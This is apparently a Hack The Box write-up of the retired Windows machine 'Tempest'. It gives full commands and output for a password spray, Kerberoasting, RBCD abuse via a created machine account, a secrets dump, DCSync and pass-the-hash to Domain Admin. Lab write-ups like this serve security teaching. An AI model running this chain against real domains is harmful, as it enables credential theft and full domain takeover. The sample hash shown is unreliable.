All posts

HTB: Tempest

A password spray against a RID-brute user list lands a foothold, and Kerberoasting a service account with a dictionary password gives a second identity. That account holds GenericWrite over a member server's computer object — enough to configure Resource-Based Constrained Delegation, impersonate the Administrator to that host, and dump its secrets. A cached Domain Admin credential there opens the door to DCSync and the whole directory.


MachineTempest
DifficultyHard
OSWindows
StatusRetired
Key TechniquesPassword Spray · Kerberoast · RBCD · DCSync

Enumeration

Tempest presented the standard domain-controller service set, with the domain tempest.htb and hostname DC01 in the LDAP metadata. A second host, FILE01, showed up in DNS and SMB — a member server that would become the pivot.

nmap -sV -sC -p- --min-rate 5000 -oA tempest 10.10.11.78
# 88/tcp   open  kerberos-sec
# 139/445  open  smb
# 389/636  open  ldap / ldaps  (Domain: tempest.htb)
# 3268     open  globalcat
# 5985     open  winrm

SMB allowed a null session for RPC lookups but no share listing. RID cycling enumerated the domain principals, giving a user list to spray:

nxc smb 10.10.11.78 -u '' -p '' --rid-brute 5000 | grep SidTypeUser \
  | grep -oP 'TEMPEST\\\K[a-z._]+' | sort -u > users.txt
# a.stone  b.nguyen  c.wells  svc_sql  svc_backup  helpdesk  administrator

Foothold — Password Spray

With a user list and no passwords, a careful spray of a single common password across all accounts is low-risk against lockout (one attempt per user) and frequently productive on a lab domain. A seasonal password did the job:

nxc smb 10.10.11.78 -u users.txt -p 'Tempest2026!' --continue-on-success
# [+] tempest.htb\c.wells:Tempest2026!
# ... (others fail)

c.wells is a plain domain user with no shell access, but a valid credential is all that Kerberoasting needs.

Kerberoasting a Service Account

Any authenticated user can request service tickets for accounts that have a Service Principal Name, and the ticket is encrypted with the service account's password hash — crackable offline. Impacket's GetUserSPNs pulled the roastable accounts:

impacket-GetUserSPNs tempest.htb/c.wells:'Tempest2026!' \
  -dc-ip 10.10.11.78 -request -outputfile spns.hash
# ServicePrincipalName        Name        MemberOf
# MSSQLSvc/file01.tempest.htb  svc_sql     -
# $krb5tgs$23$*svc_sql*$...    <- roastable

hashcat -m 13100 spns.hash /usr/share/wordlists/rockyou.txt
# $krb5tgs$23$*svc_sql*...:Sup3rDB!2025

svc_sql cracked to Sup3rDB!2025. On its own it is a SQL service account, but its rights in the directory are what matter.

Mapping the Path with BloodHound

Collecting the graph as svc_sql and inspecting its outbound control revealed the intended edge: svc_sql has GenericWrite over the computer object FILE01$.

bloodhound-python -u svc_sql -p 'Sup3rDB!2025' -d tempest.htb \
  -ns 10.10.11.78 -c All --zip
# Outbound: svc_sql --[GenericWrite]--> FILE01.TEMPEST.HTB (Computer)

Resource-Based Constrained Delegation (RBCD) lets a resource decide which accounts may impersonate users to it, by writing the trusted accounts into the target's msDS-AllowedToActOnBehalfOfOtherIdentity attribute. GenericWrite over a computer object lets you write that attribute — so you can nominate an account you control as trusted, then use S4U2Self/S4U2Proxy to get a service ticket to that computer as any user, including its local Administrator.

Privilege Escalation — Resource-Based Constrained Delegation

The RBCD attack needs a controlled account that has an SPN (so it can perform S4U). Any domain user can create a machine account by default (ms-DS-MachineAccountQuota is 10), which comes with SPNs ready-made. Impacket's addcomputer creates one:

# 1. Create an attacker-controlled computer account
impacket-addcomputer tempest.htb/svc_sql:'Sup3rDB!2025' \
  -dc-ip 10.10.11.78 -computer-name 'EVILPC$' -computer-pass 'Evil_Pass123'

# 2. Use GenericWrite to set RBCD: allow EVILPC$ to act on behalf of others to FILE01
impacket-rbcd tempest.htb/svc_sql:'Sup3rDB!2025' -dc-ip 10.10.11.78 \
  -action write -delegate-to 'FILE01$' -delegate-from 'EVILPC$'
# [*] Delegation rights modified successfully!

With delegation configured, S4U2Self + S4U2Proxy mints a service ticket to FILE01's CIFS service impersonating the built-in Administrator — a user who is local admin on that host:

impacket-getST tempest.htb/'EVILPC$':'Evil_Pass123' -dc-ip 10.10.11.78 \
  -spn 'cifs/file01.tempest.htb' -impersonate administrator
# [*] Saving ticket in administrator@[email protected]

export KRB5CCNAME=administrator@[email protected]
impacket-secretsdump -k -no-pass file01.tempest.htb
# Dumps SAM + LSA secrets from FILE01 as Administrator

Domain Admin — DCSync

The LSA secrets from FILE01 included cached credentials for a domain administrator who had logged on to the server — a common real-world sin of using DA accounts for routine server administration. With a DA credential, replicating the directory's secrets (DCSync) hands over the KRBTGT and Administrator hashes:

# From the recovered DA credential, DCSync the domain
impacket-secretsdump tempest.htb/'a.stone':'Wint3r_Adm!n_2026'@10.10.11.78 -just-dc-user administrator
# administrator:500:aad3b435...:5f4dcc3b5aa765d61d8327deb882cf99:::

# Pass-the-hash as Domain Admin -> shell on the DC and the root flag
evil-winrm -i 10.10.11.78 -u administrator -H 5f4dcc3b5aa765d61d8327deb882cf99
# *Evil-WinRM* PS C:\Users\Administrator> type C:\Users\Administrator\Desktop\root.txt

Key Takeaways